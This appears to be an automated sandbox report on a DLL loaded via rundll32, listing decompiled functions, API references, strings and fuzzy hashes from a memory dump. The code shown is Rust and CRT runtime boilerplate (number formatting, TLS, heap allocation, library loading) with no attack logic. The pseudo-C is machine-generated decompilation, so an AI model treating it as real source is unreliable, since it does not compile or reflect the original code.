___vcrt_FlsSetValue.LIBVCRUNTIME ref: 6EBFF3F4
SetLastError.KERNEL32(00000000,6EBFC9E4,?,00000001,?,?,00000001,?,6EC3AFA8,0000000C,6EBFCADD,?,00000001,?), ref: 6EBFF446

Memory Dump Source

Source File: 00000004.00000002.665239855.000000006EBE1000.00000020.00020000.sdmp, Offset: 6EBE0000, based on PE: true

Associated: 00000004.00000002.664938459.000000006EBE0000.00000002.00020000.sdmp Download File
Associated: 00000004.00000002.669359074.000000006EC0A000.00000002.00020000.sdmp Download File
Associated: 00000004.00000002.673746548.000000006EC3D000.00000004.00020000.sdmp Download File
Associated: 00000004.00000002.674115007.000000006EC3F000.00000008.00020000.sdmp Download File
Associated: 00000004.00000002.674416389.000000006EC40000.00000002.00020000.sdmp Download File

Similarity

API ID: ErrorLastValue___vcrt_
String ID:
API String ID: 3852720340-0
Opcode ID: 14b3658806959764c9ae364125936e9d11176e1317310d092bc61cabfb01da1b
Instruction ID: 6b17a1383ff2ba775bf6dc60d0031fd4dc3a26c8a1b0b76d71ac8124540c02a9
Opcode Fuzzy Hash: 14b3658806959764c9ae364125936e9d11176e1317310d092bc61cabfb01da1b
Instruction Fuzzy Hash: 1901243311CB229EEE702AF86D845863EB8EB467787300629E820401F1FF13581B9985

Uniqueness

Uniqueness Score: -1.00%

Function 6EBFBE60, Relevance: 9.0, APIs: 6, Instructions: 50COMMON

Download Yara Rule

APIs

Part of subcall function 6EBFC510: GetTickCount64.KERNEL32 ref: 6EBFC517

GetTickCount64.KERNEL32 ref: 6EBFBE96
GetTickCount64.KERNEL32 ref: 6EBFBEB4
GetTickCount64.KERNEL32 ref: 6EBFBECD
GetTickCount64.KERNEL32 ref: 6EBFBECF
GetTickCount64.KERNEL32 ref: 6EBFBED6
GetTickCount64.KERNEL32 ref: 6EBFBEF4

Memory Dump Source

Source File: 00000004.00000002.665239855.000000006EBE1000.00000020.00020000.sdmp, Offset: 6EBE0000, based on PE: true

Associated: 00000004.00000002.664938459.000000006EBE0000.00000002.00020000.sdmp Download File
Associated: 00000004.00000002.669359074.000000006EC0A000.00000002.00020000.sdmp Download File
Associated: 00000004.00000002.673746548.000000006EC3D000.00000004.00020000.sdmp Download File
Associated: 00000004.00000002.674115007.000000006EC3F000.00000008.00020000.sdmp Download File
Associated: 00000004.00000002.674416389.000000006EC40000.00000002.00020000.sdmp Download File

Similarity

API ID: Count64Tick
String ID:
API String ID: 1927824332-0
Opcode ID: 7cd56e64747b940c9bce7c273b402243a3bdb3403df0fd664d5f9471d0c2a0ff
Instruction ID: d78dbac524f1eb11558b07ec01840f9d386ef53561b97e80d3103e62d79d4814
Opcode Fuzzy Hash: 7cd56e64747b940c9bce7c273b402243a3bdb3403df0fd664d5f9471d0c2a0ff
Instruction Fuzzy Hash: 7A019223C30E58CDD213B979A89254AAABD5FD73E0B25CB13D00636146FF9014E78691

Uniqueness

Uniqueness Score: -1.00%

Function 6EBE6B40, Relevance: 8.9, APIs: 2, Strings: 3, Instructions: 146
COMMON

Download Yara Rule

C-Code - Quality: 84%

			E6EBE6B40(short* __ecx, signed int __edx) {
				void* _t30;
				void* _t34;
				void* _t36;
				void* _t37;
				short _t38;
				void* _t39;
				signed int _t45;
				short _t50;
				void* _t51;
				short _t52;
				signed int _t53;
				signed int _t62;
				unsigned int _t66;
				char* _t78;
				signed int _t85;
				signed short _t88;
				intOrPtr _t90;
				char* _t91;
				void* _t94;
				void* _t95;
				intOrPtr* _t96;

				_t96 = _t95 - 0x30;
				_t90 =  *((intOrPtr*)(__ecx + 0x14));
				if(_t90 == 0) {
					L6:
					_t52 = 0;
					L7:
					return _t52;
				}
				_push(1);
				_t30 = E6EBE1C10(_t90,  &M6EC2F3B9);
				_t96 = _t96 + 4;
				_t52 = 1;
				if(_t30 != 0) {
					goto L7;
				}
				if((__edx |  *(_t96 + 0x44)) == 0) {
					_push(1);
					return E6EBE1C10(_t90, "_!f64f32usizeu128u64u32u16u8isizei128i64i32i16i8strcharbool");
				}
				 *_t96 = _t90;
				_t91 = 0;
				_t62 =  *((intOrPtr*)(__ecx + 0x18)) - __edx;
				asm("sbb esi, eax");
				if(_t62 >= 0) {
					__eflags = _t62 - 0x1a;
					asm("sbb eax, 0x0");
					if(_t62 >= 0x1a) {
						_t85 = _t62;
						_t78 = "_!f64f32usizeu128u64u32u16u8isizei128i64i32i16i8strcharbool";
						_push(1);
						_t34 = E6EBE1C10( *_t96, _t78);
						_t96 = _t96 + 4;
						__eflags = _t34;
						if(_t34 != 0) {
							goto L7;
						}
						__eflags = _t85 - 0x2710;
						_t53 = _t85;
						asm("sbb eax, 0x0");
						if(_t85 < 0x2710) {
							_t36 = 0x27;
							L18:
							__eflags = _t53 - 0x63;
							if(_t53 > 0x63) {
								_t66 = _t53 & 0x0000ffff;
								_t53 = (_t66 >> 2) * 0x147b >> 0x11;
								 *((short*)(_t96 + _t36 + 6)) =  *((_t66 - _t53 * 0x00000064 & 0x0000ffff) + (_t66 - _t53 * 0x00000064 & 0x0000ffff) + "00010203040506070809101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596979899") & 0x0000ffff;
								_t36 = _t36 + 0xfffffffe;
								__eflags = _t36;
							}
							__eflags = _t53 - 0xa;
							if(_t53 >= 0xa) {
								_t24 = _t53 + "00010203040506070809101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596979899"; // 0x31303030
								 *((short*)(_t96 + _t36 + 6)) =  *(_t53 + _t24) & 0x0000ffff;
								_t37 = _t36 + 0xfffffffe;
								__eflags = _t37;
							} else {
								 *((char*)(_t96 + _t36 + 7)) = _t53 + 0x30;
								_t37 = _t36 - 1;
							}
							_push(0x27 - _t37);
							_push(_t96 + _t37 + 8);
							_push(0);
							_t38 = E6EBE18D0( *_t96, 0x6ec2f570);
							_t96 = _t96 + 0xc;
							_t52 = _t38;
							goto L7;
						}
						_t39 = 0x27;
						do {
							_t94 = _t39;
							_t88 = E6EBFC5D0(_t53, _t91, 0x2710, 0);
							 *(_t96 + 4) = E6EBFC650(_t53, _t91, 0x2710, 0);
							_t45 = ((_t88 & 0x0000ffff) >> 2) * 0x147b >> 0x11;
							_t8 = _t45 + "00010203040506070809101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596979899"; // 0x31303030
							__eflags = 0x5f5e0ff - _t53;
							_t53 =  *(_t96 + 4);
							asm("sbb ecx, esi");
							_t91 = _t78;
							 *((short*)(_t96 + _t94 + 4)) =  *(_t45 + _t8) & 0x0000ffff;
							 *((short*)(_t96 + _t94 + 6)) =  *((_t88 - _t45 * 0x00000064 & 0x0000ffff) + (_t88 - _t45 * 0x00000064 & 0x0000ffff) + "00010203040506070809101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596979899") & 0x0000ffff;
							_t16 = _t94 - 4; // 0x23
							_t39 = _t16;
						} while (__eflags < 0);
						goto L18;
					}
					 *((intOrPtr*)(_t96 + 8)) = _t62 + 0x61;
					_t50 = E6EBE3490(_t96 + 8, _t96 + 8,  *_t96);
					_t96 = _t96 + 8;
					_t52 = _t50;
					goto L7;
				}
				_push(0x10);
				_t51 = E6EBE1C10( *_t96,  &M6EC2F395);
				_t96 = _t96 + 4;
				if(_t51 != 0) {
					goto L7;
				}
				 *__ecx = 1;
				goto L6;
			}

0x6ebe6b44
0x6ebe6b47
0x6ebe6b4c
0x6ebe6b9c
0x6ebe6b9c
0x6ebe6b9e
0x00000000
0x6ebe6ba0
0x6ebe6b59
0x6ebe6b5b
0x6ebe6b60
0x6ebe6b63
0x6ebe6b67
0x00000000
0x00000000
0x6ebe6b71
0x6ebe6baf
0x00000000
0x6ebe6bb6
0x6ebe6b76
0x6ebe6b79
0x6ebe6b7b
0x6ebe6b7d
0x6ebe6b7f
0x6ebe6bbb
0x6ebe6bc0
0x6ebe6bc3
0x6ebe6be0
0x6ebe6be5
0x6ebe6bea
0x6ebe6bec
0x6ebe6bf1
0x6ebe6bf4
0x6ebe6bf6
0x00000000
0x00000000
0x6ebe6bf8
0x6ebe6c00
0x6ebe6c02
0x6ebe6c05
0x6ebe6c80
0x6ebe6c85
0x6ebe6c85
0x6ebe6c88
0x6ebe6c8a
0x6ebe6c98
0x6ebe6cab
0x6ebe6cb0
0x6ebe6cb0
0x6ebe6cb0
0x6ebe6cb3
0x6ebe6cb6
0x6ebe6cc2
0x6ebe6cca
0x6ebe6ccf
0x6ebe6ccf
0x6ebe6cb8
0x6ebe6cbb
0x6ebe6cbf
0x6ebe6cbf
0x6ebe6ce5
0x6ebe6ce6
0x6ebe6ce7
0x6ebe6ce9
0x6ebe6cee
0x6ebe6cf1
0x00000000
0x6ebe6cf1
0x6ebe6c07
0x6ebe6c10
0x6ebe6c10
0x6ebe6c20
0x6ebe6c30
0x6ebe6c40
0x6ebe6c46
0x6ebe6c55
0x6ebe6c57
0x6ebe6c60
0x6ebe6c62
0x6ebe6c64
0x6ebe6c74
0x6ebe6c79
0x6ebe6c79
0x6ebe6c79
0x00000000
0x6ebe6c7e
0x6ebe6bcc
0x6ebe6bd4
0x6ebe6bd9
0x6ebe6bdc
0x00000000
0x6ebe6bdc
0x6ebe6b89
0x6ebe6b8b
0x6ebe6b90
0x6ebe6b95
0x00000000
0x00000000
0x6ebe6b97
0x00000000

APIs

__aullrem.LIBCMT ref: 6EBE6C1B
__aulldiv.LIBCMT ref: 6EBE6C2B

Strings

'for<, > as ::{shimclosure#[]dyn + ; mut const unsafe extern ", xrefs: 6EBE6B54
_!f64f32usizeu128u64u32u16u8isizei128i64i32i16i8strcharbool, xrefs: 6EBE6BAA, 6EBE6BE5
{invalid syntax}, xrefs: 6EBE6B84

Memory Dump Source

Source File: 00000004.00000002.665239855.000000006EBE1000.00000020.00020000.sdmp, Offset: 6EBE0000, based on PE: true

Associated: 00000004.00000002.664938459.000000006EBE0000.00000002.00020000.sdmp Download File
Associated: 00000004.00000002.669359074.000000006EC0A000.00000002.00020000.sdmp Download File
Associated: 00000004.00000002.673746548.000000006EC3D000.00000004.00020000.sdmp Download File
Associated: 00000004.00000002.674115007.000000006EC3F000.00000008.00020000.sdmp Download File
Associated: 00000004.00000002.674416389.000000006EC40000.00000002.00020000.sdmp Download File

Similarity

API ID: __aulldiv__aullrem
String ID: 'for<, > as ::{shimclosure#[]dyn + ; mut const unsafe extern "$_!f64f32usizeu128u64u32u16u8isizei128i64i32i16i8strcharbool${invalid syntax}
API String ID: 3839614884-2364648981
Opcode ID: 2e9374bd8ac1ecd15bc6ed2afb1151adaf6fbf0ab1a66f3a741dd373523896ff
Instruction ID: aa2059a8571d779d53304f9f4f8943bb3614fcf929d797a812176c5a90081298
Opcode Fuzzy Hash: 2e9374bd8ac1ecd15bc6ed2afb1151adaf6fbf0ab1a66f3a741dd373523896ff
Instruction Fuzzy Hash: 1A4189317282504BD3149BB8C84672EBAE8DF94784F10883DE989CF7D9E764C8818392

Uniqueness

Uniqueness Score: -1.00%

Function 6EBED000, Relevance: 8.8, APIs: 7, Instructions: 85
memoryCOMMON

Download Yara Rule

C-Code - Quality: 55%

			E6EBED000(void* __ebx, void* __edi) {
				void _v20;
				long _v24;
				intOrPtr _v28;
				char _v32;
				void* _v33;
				void* _v35;
				void* _v36;
				signed int _v39;
				void* _v44;
				long _v48;
				char _v76;
				void* __esi;
				long _t30;
				void* _t32;
				long _t33;
				void* _t35;
				void* _t37;
				void* _t38;
				signed char _t43;
				signed char _t44;
				signed int _t46;
				void** _t49;
				void* _t51;
				long _t53;
				void* _t55;
				signed int _t61;
				signed int _t63;
				intOrPtr* _t65;
				void* _t67;
				void* _t77;
				void* _t79;
				void* _t80;
				void* _t82;
				void* _t89;
				void* _t90;
				void* _t91;

				_t77 = __edi;
				_t55 = __ebx;
				_push(_t79);
				_t30 =  *0x6ec3d04c; // 0x0
				if(_t30 == 0) {
					_t32 = TlsGetValue(E6EBF2960(__ebx, 0x6ec3d04c, __edi, _t79));
					__eflags = _t32 - 1;
					if(_t32 <= 1) {
						goto L5;
					} else {
						goto L4;
					}
				} else {
					_t32 = TlsGetValue(_t30);
					if(_t32 > 1) {
						L4:
						__eflags =  *_t32 - 1;
						_t82 = _t32;
						if( *_t32 == 1) {
							goto L18;
						} else {
							goto L5;
						}
					} else {
						L5:
						_t33 =  *0x6ec3d04c; // 0x0
						if(_t33 == 0) {
							_t35 = TlsGetValue(E6EBF2960(_t55, 0x6ec3d04c, _t77, _t79));
							__eflags = _t35;
							if(_t35 != 0) {
								goto L7;
							} else {
								goto L10;
							}
						} else {
							_t35 = TlsGetValue(_t33);
							if(_t35 == 0) {
								L10:
								_t37 =  *0x6ec3e128; // 0x2ff0000
								__eflags = _t37;
								if(_t37 != 0) {
									L13:
									_t38 = HeapAlloc(_t37, 0, 0xc);
									__eflags = _t38;
									if(__eflags == 0) {
										goto L20;
									} else {
										 *_t38 = 0;
										 *(_t38 + 8) = 0x6ec3d04c;
										_t82 = _t38;
										_t53 =  *0x6ec3d04c; // 0x0
										__eflags = _t53;
										if(_t53 == 0) {
											_t53 = E6EBF2960(_t55, 0x6ec3d04c, _t77, _t82);
										}
										TlsSetValue(_t53, _t82);
										goto L17;
									}
								} else {
									_t37 = GetProcessHeap();
									__eflags = _t37;
									if(__eflags == 0) {
										L20:
										E6EC092F0(_t55, 0xc, 4, _t77, _t79, __eflags);
										asm("ud2");
										asm("int3");
										asm("int3");
										asm("int3");
										asm("int3");
										asm("int3");
										asm("int3");
										asm("int3");
										asm("int3");
										asm("int3");
										asm("int3");
										asm("int3");
										asm("int3");
										asm("int3");
										asm("int3");
										asm("int3");
										_push(_t55);
										_push(_t77);
										_push(_t79);
										_t90 = _t89 - 0x38;
										_v36 = _t90;
										_v24 = 0xffffffff;
										_v28 = E6EBF39B0;
										_v32 =  *[fs:0x0];
										 *[fs:0x0] =  &_v32;
										_v48 = 0xc;
										_v44 = 4;
										_v24 = 0;
										asm("movsd xmm0, [edx+0x10]");
										asm("movsd xmm2, [edx]");
										asm("movsd xmm1, [edx+0x8]");
										asm("movsd [ebp-0x34], xmm0");
										asm("movsd [ebp-0x3c], xmm1");
										asm("movsd [ebp-0x44], xmm2");
										_push( &_v76);
										E6EBE2150( &_v48, 0x6ec2fba0);
										_t91 = _t90 + 4;
										_t43 = _v44;
										__eflags = _t43;
										if(_t43 == 0) {
											_t44 = 4;
											__eflags = 4 - 3;
											if(4 != 3) {
												_t61 = 0x6ec2fb98;
											} else {
												_t65 = _v36;
												_v48 = _t65;
												_v20 = 1;
												 *((intOrPtr*)( *((intOrPtr*)(_t65 + 4))))( *_t65);
												_t91 = _t91 + 4;
												_t49 = _v48;
												_t67 = _t49[1];
												__eflags =  *(_t67 + 4);
												if( *(_t67 + 4) != 0) {
													_t51 =  *_t49;
													__eflags =  *((intOrPtr*)(_t67 + 8)) - 9;
													if( *((intOrPtr*)(_t67 + 8)) >= 9) {
														_t51 =  *(_t51 - 4);
													}
													HeapFree( *0x6ec3e128, 0, _t51);
												}
												HeapFree( *0x6ec3e128, 0, _v36);
												_t61 = 0x6ec2fb98;
												_t44 = 4;
											}
											goto L32;
										} else {
											__eflags = _t43 - 4;
											if(_t43 != 4) {
												_t44 = _t43;
												_t63 = _v39;
											} else {
												_t61 = 0x6ec2fb98;
												_t44 = 2;
												L32:
												_t63 = _t61 << 0x00000018 | 0x00000028;
												__eflags = _t63;
											}
										}
										_t46 = _t44 & 0x000000ff | _t63 << 0x00000008;
										__eflags = _t46;
										 *[fs:0x0] = _v28;
										return _t46;
									} else {
										 *0x6ec3e128 = _t37;
										goto L13;
									}
								}
							} else {
								L7:
								_t80 = 0;
								if(_t35 != 1) {
									_t82 = _t35;
									L17:
									 *_t82 = 1;
									 *(_t82 + 4) = 0;
									L18:
									_t80 = _t82 + 4;
								}
								return _t80;
							}
						}
					}
				}
			}

0x6ebed000
0x6ebed000
0x6ebed000
0x6ebed001
0x6ebed008
0x6ebed023
0x6ebed029
0x6ebed02c
0x00000000
0x00000000
0x00000000
0x00000000
0x6ebed00a
0x6ebed00b
0x6ebed014
0x6ebed02e
0x6ebed02e
0x6ebed031
0x6ebed033
0x00000000
0x00000000
0x00000000
0x00000000
0x6ebed016
0x6ebed039
0x6ebed039
0x6ebed040
0x6ebed063
0x6ebed069
0x6ebed06b
0x00000000
0x00000000
0x00000000
0x00000000
0x6ebed042
0x6ebed043
0x6ebed04b
0x6ebed06d
0x6ebed06d
0x6ebed072
0x6ebed074
0x6ebed084
0x6ebed089
0x6ebed08e
0x6ebed090
0x00000000
0x6ebed092
0x6ebed092
0x6ebed098
0x6ebed09f
0x6ebed0a1
0x6ebed0a6
0x6ebed0a8
0x6ebed0af
0x6ebed0af
0x6ebed0b6
0x00000000
0x6ebed0b6
0x6ebed076
0x6ebed076
0x6ebed07b
0x6ebed07d
0x6ebed0d0
0x6ebed0da
0x6ebed0df
0x6ebed0e1
0x6ebed0e2
0x6ebed0e3
0x6ebed0e4
0x6ebed0e5
0x6ebed0e6
0x6ebed0e7
0x6ebed0e8
0x6ebed0e9
0x6ebed0ea
0x6ebed0eb
0x6ebed0ec
0x6ebed0ed
0x6ebed0ee
0x6ebed0ef
0x6ebed0f3
0x6ebed0f4
0x6ebed0f5
0x6ebed0f6
0x6ebed0f9
0x6ebed0fc
0x6ebed103
0x6ebed114
0x6ebed117
0x6ebed120
0x6ebed123
0x6ebed127
0x6ebed131
0x6ebed136
0x6ebed13a
0x6ebed144
0x6ebed149
0x6ebed14e
0x6ebed153
0x6ebed154
0x6ebed159
0x6ebed15c
0x6ebed15f
0x6ebed161
0x6ebed179
0x6ebed17b
0x6ebed17e
0x6ebed1ef
0x6ebed180
0x6ebed180
0x6ebed185
0x6ebed18b
0x6ebed193
0x6ebed195
0x6ebed198
0x6ebed19b
0x6ebed19e
0x6ebed1a2
0x6ebed1a4
0x6ebed1a6
0x6ebed1aa
0x6ebed1ac
0x6ebed1ac
0x6ebed1b8
0x6ebed1b8
0x6ebed1c8
0x6ebed1cd
0x6ebed1d7
0x6ebed1d7
0x00000000
0x6ebed163
0x6ebed163
0x6ebed166
0x6ebed1e3
0x6ebed1ea
0x6ebed168
0x6ebed168
0x6ebed172
0x6ebed1f9
0x6ebed1ff
0x6ebed1ff
0x6ebed1ff
0x6ebed166
0x6ebed20f
0x6ebed20f
0x6ebed211
0x6ebed21f
0x6ebed07f
0x6ebed07f
0x00000000
0x6ebed07f
0x6ebed07d
0x6ebed04d
0x6ebed04d
0x6ebed04d
0x6ebed052
0x6ebed054
0x6ebed0bc
0x6ebed0bc
0x6ebed0c2
0x6ebed0c9
0x6ebed0c9
0x6ebed0c9
0x6ebed0cf
0x6ebed0cf
0x6ebed04b
0x6ebed040
0x6ebed014

APIs

TlsGetValue.KERNEL32(00000000,00000001,6EBEC746), ref: 6EBED00B
TlsGetValue.KERNEL32(00000000,00000001,6EBEC746), ref: 6EBED023
TlsGetValue.KERNEL32(00000000), ref: 6EBED043
TlsGetValue.KERNEL32(00000000), ref: 6EBED063
GetProcessHeap.KERNEL32 ref: 6EBED076
HeapAlloc.KERNEL32(02FF0000,00000000,0000000C), ref: 6EBED089
TlsSetValue.KERNEL32(00000000,00000000,02FF0000,00000000,0000000C), ref: 6EBED0B6

Memory Dump Source

Source File: 00000004.00000002.665239855.000000006EBE1000.00000020.00020000.sdmp, Offset: 6EBE0000, based on PE: true

Associated: 00000004.00000002.664938459.000000006EBE0000.00000002.00020000.sdmp Download File
Associated: 00000004.00000002.669359074.000000006EC0A000.00000002.00020000.sdmp Download File
Associated: 00000004.00000002.673746548.000000006EC3D000.00000004.00020000.sdmp Download File
Associated: 00000004.00000002.674115007.000000006EC3F000.00000008.00020000.sdmp Download File
Associated: 00000004.00000002.674416389.000000006EC40000.00000002.00020000.sdmp Download File

Similarity

API ID: Value$Heap$AllocProcess
String ID:
API String ID: 3559649508-0
Opcode ID: 3be408113f461f245ae1e84d49c223e5f22c3e1b47867e29d20b1a7ab98cd549
Instruction ID: 1419928333677be7f9f9968a00261f5f7177949f26ca00e6ef063869eba0d8cc
Opcode Fuzzy Hash: 3be408113f461f245ae1e84d49c223e5f22c3e1b47867e29d20b1a7ab98cd549
Instruction Fuzzy Hash: 9111EB70600293CBEB504BF1A974B653FB8DBC1B85F094C24E416CB642D7B6D8468F64

Uniqueness

Uniqueness Score: -1.00%

Function 6EC03571, Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 79
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E6EC03571(intOrPtr* _a4, intOrPtr _a8, void* _a12, intOrPtr _a16) {
				void* _t15;
				void* _t16;
				intOrPtr _t18;
				intOrPtr _t38;
				intOrPtr* _t40;
				intOrPtr _t41;

				_t40 = _a4;
				if(_t40 != 0) {
					if( *_t40 != 0) {
						_t15 = E6EC04073(_a16, 0, _t40, 0xffffffff, 0, 0, 0, 0);
						if(_t15 != 0) {
							_t38 = _a8;
							if(_t15 <=  *((intOrPtr*)(_t38 + 0xc))) {
								L10:
								_t16 = E6EC033C8(_a16, _t40,  *((intOrPtr*)(_t38 + 8)),  *((intOrPtr*)(_t38 + 0xc)));
								if(_t16 != 0) {
									 *((intOrPtr*)(_t38 + 0x10)) = _t16 - 1;
									_t18 = 0;
								} else {
									E6EC01F75(GetLastError());
									_t18 =  *((intOrPtr*)(E6EC01FCF()));
								}
								L13:
								L14:
								return _t18;
							}
							_t18 = E6EC03633(_t38, _t15);
							if(_t18 != 0) {
								goto L13;
							}
							goto L10;
						}
						E6EC01F75(GetLastError());
						_t18 =  *((intOrPtr*)(E6EC01FCF()));
						goto L14;
					}
					_t41 = _a8;
					if( *((intOrPtr*)(_t41 + 0xc)) != 0) {
						L5:
						 *((char*)( *((intOrPtr*)(_t41 + 8)))) = 0;
						_t18 = 0;
						 *((intOrPtr*)(_t41 + 0x10)) = 0;
						goto L14;
					}
					_t18 = E6EC03633(_t41, 1);
					if(_t18 != 0) {
						goto L14;
					}
					goto L5;
				}
				E6EC0365A(_a8);
				return 0;
			}

0x6ec03577
0x6ec0357c
0x6ec03593
0x6ec035c5
0x6ec035cf
0x6ec035e8
0x6ec035ee
0x6ec035fc
0x6ec03609
0x6ec03610
0x6ec03629
0x6ec0362c
0x6ec03612
0x6ec03619
0x6ec03624
0x6ec03624
0x6ec0362e
0x6ec0362f
0x00000000
0x6ec0362f
0x6ec035f3
0x6ec035fa
0x00000000
0x00000000
0x00000000
0x6ec035fa
0x6ec035d8
0x6ec035e3
0x00000000
0x6ec035e3
0x6ec03595
0x6ec0359b
0x6ec035ae
0x6ec035b1
0x6ec035b3
0x6ec035b5
0x00000000
0x6ec035b5
0x6ec035a1
0x6ec035a8
0x00000000
0x00000000
0x00000000
0x6ec035a8
0x6ec03581
0x00000000

Strings

C:\Windows\SysWOW64\rundll32.exe, xrefs: 6EC0358D

Memory Dump Source

Source File: 00000004.00000002.665239855.000000006EBE1000.00000020.00020000.sdmp, Offset: 6EBE0000, based on PE: true

Associated: 00000004.00000002.664938459.000000006EBE0000.00000002.00020000.sdmp Download File
Associated: 00000004.00000002.669359074.000000006EC0A000.00000002.00020000.sdmp Download File
Associated: 00000004.00000002.673746548.000000006EC3D000.00000004.00020000.sdmp Download File
Associated: 00000004.00000002.674115007.000000006EC3F000.00000008.00020000.sdmp Download File
Associated: 00000004.00000002.674416389.000000006EC40000.00000002.00020000.sdmp Download File

Similarity

API ID:
String ID: C:\Windows\SysWOW64\rundll32.exe
API String ID: 0-2837366778
Opcode ID: 62aeee4cb91efd1334abcb38e0d1c14f8f6bdc5881564a1df4c4575ccc546b81
Instruction ID: f52df1fac21849edfdff37376e9b167397b10cbc4b6f91b2d47c6d66faea6bfe
Opcode Fuzzy Hash: 62aeee4cb91efd1334abcb38e0d1c14f8f6bdc5881564a1df4c4575ccc546b81
Instruction Fuzzy Hash: F8216271608605AFD7009FEEC848D8EB7BEFF45368B014929F9159B254FB33E9408790

Uniqueness

Uniqueness Score: -1.00%

Function 6EC00422, Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 62
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E6EC00422(void* __ecx, signed int* _a4, intOrPtr _a8) {
				WCHAR* _v8;
				signed int _t11;
				WCHAR* _t12;
				struct HINSTANCE__* _t16;
				struct HINSTANCE__* _t18;
				signed int* _t22;
				signed int* _t26;
				struct HINSTANCE__* _t29;
				WCHAR* _t31;
				void* _t32;

				_t26 = _a4;
				while(_t26 != _a8) {
					_t11 =  *_t26;
					_t22 = 0x6ec3e568 + _t11 * 4;
					_t29 =  *_t22;
					if(_t29 == 0) {
						_t12 =  *(0x6ec360c8 + _t11 * 4);
						_v8 = _t12;
						_t29 = LoadLibraryExW(_t12, 0, 0x800);
						if(_t29 != 0) {
							L13:
							 *_t22 = _t29;
							if( *_t22 != 0) {
								FreeLibrary(_t29);
							}
							L15:
							_t16 = _t29;
							L12:
							return _t16;
						}
						_t18 = GetLastError();
						if(_t18 != 0x57) {
							L8:
							 *_t22 = _t18 | 0xffffffff;
							L9:
							_t26 =  &(_t26[1]);
							continue;
						}
						_t31 = _v8;
						_t18 = E6EC01EF8(_t31, L"api-ms-", 7);
						_t32 = _t32 + 0xc;
						if(_t18 == 0) {
							goto L8;
						}
						_t18 = LoadLibraryExW(_t31, 0, 0);
						_t29 = _t18;
						if(_t29 != 0) {
							goto L13;
						}
						goto L8;
					}
					if(_t29 != 0xffffffff) {
						goto L15;
					}
					goto L9;
				}
				_t16 = 0;
				goto L12;
			}

0x6ec00429
0x6ec0049d
0x6ec0042e
0x6ec00430
0x6ec00437
0x6ec0043b
0x6ec00444
0x6ec00453
0x6ec0045c
0x6ec00460
0x6ec004a9
0x6ec004ab
0x6ec004af
0x6ec004b2
0x6ec004b2
0x6ec004b8
0x6ec004b8
0x6ec004a4
0x6ec004a8
0x6ec004a8
0x6ec00462
0x6ec0046b
0x6ec00495
0x6ec00498
0x6ec0049a
0x6ec0049a
0x00000000
0x6ec0049a
0x6ec0046d
0x6ec00478
0x6ec0047d
0x6ec00482
0x00000000
0x00000000
0x6ec00489
0x6ec0048f
0x6ec00493
0x00000000
0x00000000
0x00000000
0x6ec00493
0x6ec00440
0x00000000
0x00000000
0x00000000
0x6ec00442
0x6ec004a2
0x00000000

APIs

FreeLibrary.KERNEL32(00000000,?,?,6EC004E3,00000000,?,00000001,00000000,?,6EC0055A,00000001,FlsFree,6EC36184,FlsFree,00000000), ref: 6EC004B2

Strings

api-ms-, xrefs: 6EC00472

Memory Dump Source

Source File: 00000004.00000002.665239855.000000006EBE1000.00000020.00020000.sdmp, Offset: 6EBE0000, based on PE: true

Associated: 00000004.00000002.664938459.000000006EBE0000.00000002.00020000.sdmp Download File
Associated: 00000004.00000002.669359074.000000006EC0A000.00000002.00020000.sdmp Download File
Associated: 00000004.00000002.673746548.000000006EC3D000.00000004.00020000.sdmp Download File
Associated: 00000004.00000002.674115007.000000006EC3F000.00000008.00020000.sdmp Download File
Associated: 00000004.00000002.674416389.000000006EC40000.00000002.00020000.sdmp Download File

Similarity

API ID: FreeLibrary
String ID: api-ms-
API String ID: 3664257935-2084034818
Opcode ID: ac9868742ae2bd233bc9c18f6a6c4ef43de9ffa2adaa8b9e90bc53dea827e461
Instruction ID: cbbe7437e7bef40ccdc40c7e816756fea1454da9cec8f50a3c2c8b45b93a7519
Opcode Fuzzy Hash: ac9868742ae2bd233bc9c18f6a6c4ef43de9ffa2adaa8b9e90bc53dea827e461
Instruction Fuzzy Hash: 6311A732A44A25ABDB528FE98C4674933B4AF42774F120924FD25AB284F772ED0086DD

Uniqueness

Uniqueness Score: -1.00%

Function 6EC012ED, Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 42
libraryloaderCOMMON

Download Yara Rule

C-Code - Quality: 25%

			E6EC012ED(intOrPtr _a4) {
				char _v16;
				signed int _v20;
				signed int _t11;
				int _t14;
				void* _t16;
				void* _t20;
				int _t22;
				signed int _t23;

				_t11 =  *0x6ec3d804; // 0x210ca183
				 *[fs:0x0] =  &_v16;
				_v20 = _v20 & 0x00000000;
				_t14 =  &_v20;
				__imp__GetModuleHandleExW(0, L"mscoree.dll", _t14, _t11 ^ _t23, _t20, _t16,  *[fs:0x0], E6EC09B33, 0xffffffff);
				if(_t14 != 0) {
					_t14 = GetProcAddress(_v20, "CorExitProcess");
					_t22 = _t14;
					if(_t22 != 0) {
						 *0x6ec0a154(_a4);
						_t14 =  *_t22();
					}
				}
				if(_v20 != 0) {
					_t14 = FreeLibrary(_v20);
				}
				 *[fs:0x0] = _v16;
				return _t14;
			}

0x6ec01302
0x6ec0130d
0x6ec01313
0x6ec01317
0x6ec01322
0x6ec0132a
0x6ec01334
0x6ec0133a
0x6ec0133e
0x6ec01345
0x6ec0134b
0x6ec0134b
0x6ec0133e
0x6ec01351
0x6ec01356
0x6ec01356
0x6ec0135f
0x6ec01369

APIs

GetModuleHandleExW.KERNEL32(00000000,mscoree.dll,00000000,210CA183,00000000,?,00000000,6EC09B33,000000FF,?,6EC0127D,?,?,6EC01251,?), ref: 6EC01322
GetProcAddress.KERNEL32(00000000,CorExitProcess), ref: 6EC01334
FreeLibrary.KERNEL32(00000000,?,00000000,6EC09B33,000000FF,?,6EC0127D,?,?,6EC01251,?), ref: 6EC01356

Strings

mscoree.dll, xrefs: 6EC0131B
CorExitProcess, xrefs: 6EC0132C

Memory Dump Source

Source File: 00000004.00000002.665239855.000000006EBE1000.00000020.00020000.sdmp, Offset: 6EBE0000, based on PE: true

